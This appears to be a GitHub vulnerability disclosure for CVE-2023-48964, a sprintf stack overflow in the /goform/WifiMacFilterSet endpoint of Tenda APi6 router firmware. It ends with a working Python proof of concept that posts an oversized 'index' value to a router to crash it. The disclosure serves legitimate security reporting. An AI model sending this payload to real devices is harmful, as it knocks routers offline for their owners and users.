CVE-2023-48964: GitHub - daodaoshao/vul_tenda_i6_2

Tenda APi6 V1.0.0.8(3856) Stack Overflow****Firmware information

Manufacturer’s address:https://www.tenda.com.cn/

Firmware download address: https://www.tenda.com.cn/download/detail-2570.html

Affected Version****Vulnerability Details

Vulnerability Location: /goform/WifiMacFilterSet

The length of the ndex parameter is not verified, sprintf can cause stack overflow vulnerability, it can result in dos attacks on routers.

The pages of the router

POC

import requests from pwn import*

ip = “192.168.182.21” url = “http://” + ip + “/goform/WifiMacFilterSet” print(url)

payload =b’a’*0x3000

cookie = {"Cookie":"user="} data = {"index": payload,"wl_radio":0} response = requests.post(url, cookies=cookie, data=data) print(response.text) print(“HackAttackSuccess!”)